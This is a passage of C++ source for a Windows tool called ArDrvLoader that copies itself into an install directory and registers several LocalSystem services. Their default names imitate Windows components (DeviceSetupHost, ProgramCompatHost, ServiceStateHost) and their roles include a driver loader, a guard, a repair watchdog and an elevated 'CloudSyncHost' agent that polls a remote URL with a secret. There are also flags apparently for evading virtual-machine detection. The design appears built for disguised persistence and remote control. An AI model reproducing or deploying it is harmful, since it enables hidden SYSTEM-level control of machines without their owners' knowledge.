return;
g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_guardStatus.dwCurrentState = SERVICE_START_PENDING;
g_guardStatus.dwControlsAccepted = 0;
g_guardStatus.dwWin32ExitCode = NO_ERROR;
g_guardStatus.dwWaitHint = 5000;
g_guardStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
if (!g_guardStopEvent)
{
ReportGuardStatus(SERVICE_STOPPED, GetLastError());
return;
}
ReportGuardStatus(SERVICE_RUNNING);
Log(L"[guard] service started role=%s name=%s",
g_guardBaseConfig.role.c_str(),
g_guardServiceName.c_str());
RunRoleLoop(g_guardBaseConfig, g_guardStopEvent);
ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
if (g_guardStopEvent)
{
CloseHandle(g_guardStopEvent);
g_guardStopEvent = nullptr;
}
Log(L"[guard] service stopped name=%s", g_guardServiceName.c_str());
ReportGuardStatus(SERVICE_STOPPED);
}
int RunGuardService(int argc, wchar_t** argv)
{
if (argc < 3)
{
wprintf(L"Usage: ArDrvLoader.exe -service driver|guard|repair [options]\n");
return 1;
}
GuardConfig cfg;
cfg.role = argv[2];
if (_wcsicmp(cfg.role.c_str(), L"driver") != 0 &&
_wcsicmp(cfg.role.c_str(), L"guard") != 0 &&
_wcsicmp(cfg.role.c_str(), L"repair") != 0)
{
wprintf(L"Unknown role: %s\n", cfg.role.c_str());
return 1;
}
if (!ParseGuardArgs(argc, argv, 3, cfg))
{
wprintf(L"Invalid arguments\n");
return 1;
}
if (cfg.serviceName.empty())
cfg.serviceName = DefaultServiceNameForRole(cfg.role);
g_guardServiceName = cfg.serviceName;
g_guardBaseConfig = cfg;
if (cfg.console)
return RunRoleLoop(cfg, nullptr);
SERVICE_TABLE_ENTRYW table[] =
{
{ const_cast<LPWSTR>(g_guardServiceName.c_str()), GuardServiceMain },
{ nullptr, nullptr }
};
if (!StartServiceCtrlDispatcherW(table))
{
DWORD e = GetLastError();
if (e == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT)
{
wprintf(L"Service mode must be started by SCM. Use --console for direct execution.\n");
}
return (int)e;
}
return 0;
}
// Stops one of our own services before replacing its binary.
static void StopServiceForUpgrade(const std::wstring& name)
{
if (name.empty())
return;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return;
SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS);
if (svc)
{
SERVICE_STATUS st{};
if (ControlService(svc, SERVICE_CONTROL_STOP, &st))
{
for (int i = 0; i < 50; ++i)
{
SERVICE_STATUS q{};
if (!QueryServiceStatus(svc, &q) || q.dwCurrentState == SERVICE_STOPPED)
break;
Sleep(100);
}
}
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
// Copies this executable into the chosen install directory so the service does
// not run out of Downloads, Temp, or a user profile.
static bool InstallSelfCopy(const std::wstring& targetDir, std::wstring& installedPathOut)
{
installedPathOut.clear();
CreateDirectoryW(targetDir.c_str(), nullptr);
wchar_t module[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
if (len == 0 || len >= _countof(module))
return false;
std::wstring source = module;
size_t slash = targetDir.find_last_of(L"\\/");
std::wstring leaf = (slash == std::wstring::npos) ? targetDir : targetDir.substr(slash + 1);
std::wstring target = targetDir + L"\\" + leaf + L".exe";
if (_wcsicmp(source.c_str(), target.c_str()) == 0)
{
installedPathOut = target;
return true;
}
// A service that was just stopped can keep its image mapped for a moment.
// Retry instead of failing the whole install on a sharing violation.
for (int attempt = 0; attempt < 20; ++attempt)
{
if (CopyFileW(source.c_str(), target.c_str(), FALSE))
break;
DWORD err = GetLastError();
if (err != ERROR_SHARING_VIOLATION &&
err != ERROR_ACCESS_DENIED &&
err != ERROR_USER_MAPPED_FILE)
{
wprintf(L"[!] Cannot copy to %s (%lu)\n", target.c_str(), err);
return false;
}
if (attempt == 19)
{
wprintf(L"[!] Cannot copy to %s (%lu), gave up after retries\n", target.c_str(), err);
return false;
}
Sleep(500);
}
SetFileAttributesW(target.c_str(), FILE_ATTRIBUTE_NORMAL);
installedPathOut = target;
return true;
}
int InstallGuardServices(int argc, wchar_t** argv)
{
GuardConfig cfg;
if (!ParseGuardArgs(argc, argv, 2, cfg))
{
wprintf(L"Invalid arguments\n");
return 1;
}
std::wstring prefix = cfg.prefix;
std::wstring driverService = prefix.empty() ? L"DeviceSetupHost" : prefix + L"Driver";
std::wstring guardService = prefix.empty() ? L"ProgramCompatHost" : prefix + L"Guard";
std::wstring repairService = prefix.empty() ? L"ServiceStateHost" : prefix + L"Repair";
cfg.driverServiceName = driverService;
cfg.guardServiceName = guardService;
cfg.repairServiceName = repairService;
wchar_t module[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
if (len == 0 || len >= _countof(module))
{
wprintf(L"Cannot resolve executable path\n");
return 1;
}
if (!cfg.targetPath.empty() && !FileExistsW(GetFullPathW(cfg.targetPath)))
wprintf(L"[!] Target not found yet: %s (guard will retry at runtime)\n", cfg.targetPath.c_str());
if (!cfg.targetService.empty())
{
SC_HANDLE scmCheck = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
SC_HANDLE svcCheck = scmCheck
? OpenServiceW(scmCheck, cfg.targetService.c_str(), SERVICE_QUERY_STATUS)
: nullptr;
if (!svcCheck)
wprintf(L"[!] Target service not installed yet: %s (repair will retry at runtime)\n", cfg.targetService.c_str());
if (svcCheck)
CloseServiceHandle(svcCheck);
if (scmCheck)
CloseServiceHandle(scmCheck);
}
std::wstring installDir;
if (cfg.keepLocation)
{
installDir = module;
size_t slash = installDir.find_last_of(L"\\/");
if (slash != std::wstring::npos)
installDir = installDir.substr(0, slash);
}
else if (!cfg.installDir.empty())
{
installDir = cfg.installDir;
}
else
{
installDir = DefaultInstallDir(driverService);
}
if (cfg.installDryRun)
{
wprintf(L"DRY-RUN install plan\n");
wprintf(L" install dir: %s\n", installDir.c_str());
wprintf(L" %s \"%s\"\n", driverService.c_str(), DisplayNameForRole(L"driver").c_str());
wprintf(L" %s \"%s\"\n", guardService.c_str(), DisplayNameForRole(L"guard").c_str());
wprintf(L" %s \"%s\"\n", repairService.c_str(), DisplayNameForRole(L"repair").c_str());
wprintf(L" target: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str());
return 0;
}
if (!WriteInstalledConfig(cfg))
{
wprintf(L"Cannot write HKLM\\%s\n", kConfigKey);
return 1;
}
std::wstring installedExe;
// The previous generation of services may still be holding the old binary
// open, which makes the copy fail. Stop ours first, then replace.
StopServiceForUpgrade(driverService);
StopServiceForUpgrade(guardService);
StopServiceForUpgrade(repairService);
if (!cfg.cloudServiceName.empty())
StopServiceForUpgrade(cfg.cloudServiceName);
else if (!cfg.cloudUrl.empty())
StopServiceForUpgrade(L"CloudSyncHost");
if (!InstallSelfCopy(installDir, installedExe))
{
wprintf(L"Cannot copy executable into %s\n", installDir.c_str());
return 1;
}
std::wstring exe = L"\"";
exe += installedExe;
exe += L"\"";
auto imagePath = [&](const wchar_t* role, const std::wstring& serviceName)
{
std::wstring p = exe;
p += L" -service ";
p += role;
p += L" --service-name \"";
p += serviceName;
p += L"\"";
if (cfg.allowVm)
p += L" --allow-vm";
return p;
};
bool startNow = !cfg.noStart;
bool driverOk = EnsureLocalSystemService(
driverService.c_str(),
imagePath(L"driver", driverService).c_str(),
startNow,
true,
DisplayNameForRole(L"driver").c_str());
bool guardOk = EnsureLocalSystemService(
guardService.c_str(),
imagePath(L"guard", guardService).c_str(),
startNow,
true,
DisplayNameForRole(L"guard").c_str());
bool repairOk = EnsureLocalSystemService(
repairService.c_str(),
imagePath(L"repair", repairService).c_str(),
startNow,
true,
DisplayNameForRole(L"repair").c_str());
if (driverOk)
SetServiceDescription(driverService.c_str(), DescriptionForRole(L"driver").c_str());
if (guardOk)
SetServiceDescription(guardService.c_str(), DescriptionForRole(L"guard").c_str());
if (repairOk)
SetServiceDescription(repairService.c_str(), DescriptionForRole(L"repair").c_str());
bool cloudOk = true;
std::wstring cloudService;
if (!cfg.cloudUrl.empty() && !cfg.cloudSecret.empty())
{
cloudService = cfg.cloudServiceName.empty() ? L"CloudSyncHost" : cfg.cloudServiceName;
std::wstring bin = exe;
bin += L" -cloud-service --service-name \"";
bin += cloudService;
bin += L"\" --url \"";
bin += cfg.cloudUrl;
bin += L"\" --secret \"";
bin += cfg.cloudSecret;
bin += L"\"";
if (!cfg.cloudAgent.empty())
{
bin += L" --agent \"";
bin += cfg.cloudAgent;
bin += L"\"";
}
bin += L" --interval 15000";
if (cfg.allowVm)
bin += L" --allow-vm";
bin += L" --elevated";
cloudOk = EnsureLocalSystemService(
cloudService.c_str(),
bin.c_str(),
startNow,
true,
L"Cloud Sync Host");
if (cloudOk)
SetServiceDescription(
cloudService.c_str(),
L"Keeps cloud-managed configuration in sync with the local machine.");
wprintf(L"Cloud service: %s %s\n", cloudService.c_str(), cloudOk ? L"OK" : L"FAIL");
}
wprintf(L"Driver service: %s %s\n", driverService.c_str(), driverOk ? L"OK" : L"FAIL");
wprintf(L"Guard service: %s %s\n", guardService.c_str(), guardOk ? L"OK" : L"FAIL");
wprintf(L"Repair service: %s %s\n", repairService.c_str(), repairOk ? L"OK" : L"FAIL");
wprintf(L"Installed to: %s\n", installDir.c_str());
wprintf(L"Target program: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str());
wprintf(L"Target service: %s\n", cfg.targetService.empty() ? L"(not set)" : cfg.targetService.c_str());
wprintf(L"Config key: HKLM\\%s\n", kConfigKey);
return (driverOk && guardOk && repairOk && cloudOk) ? 0 : 1;
}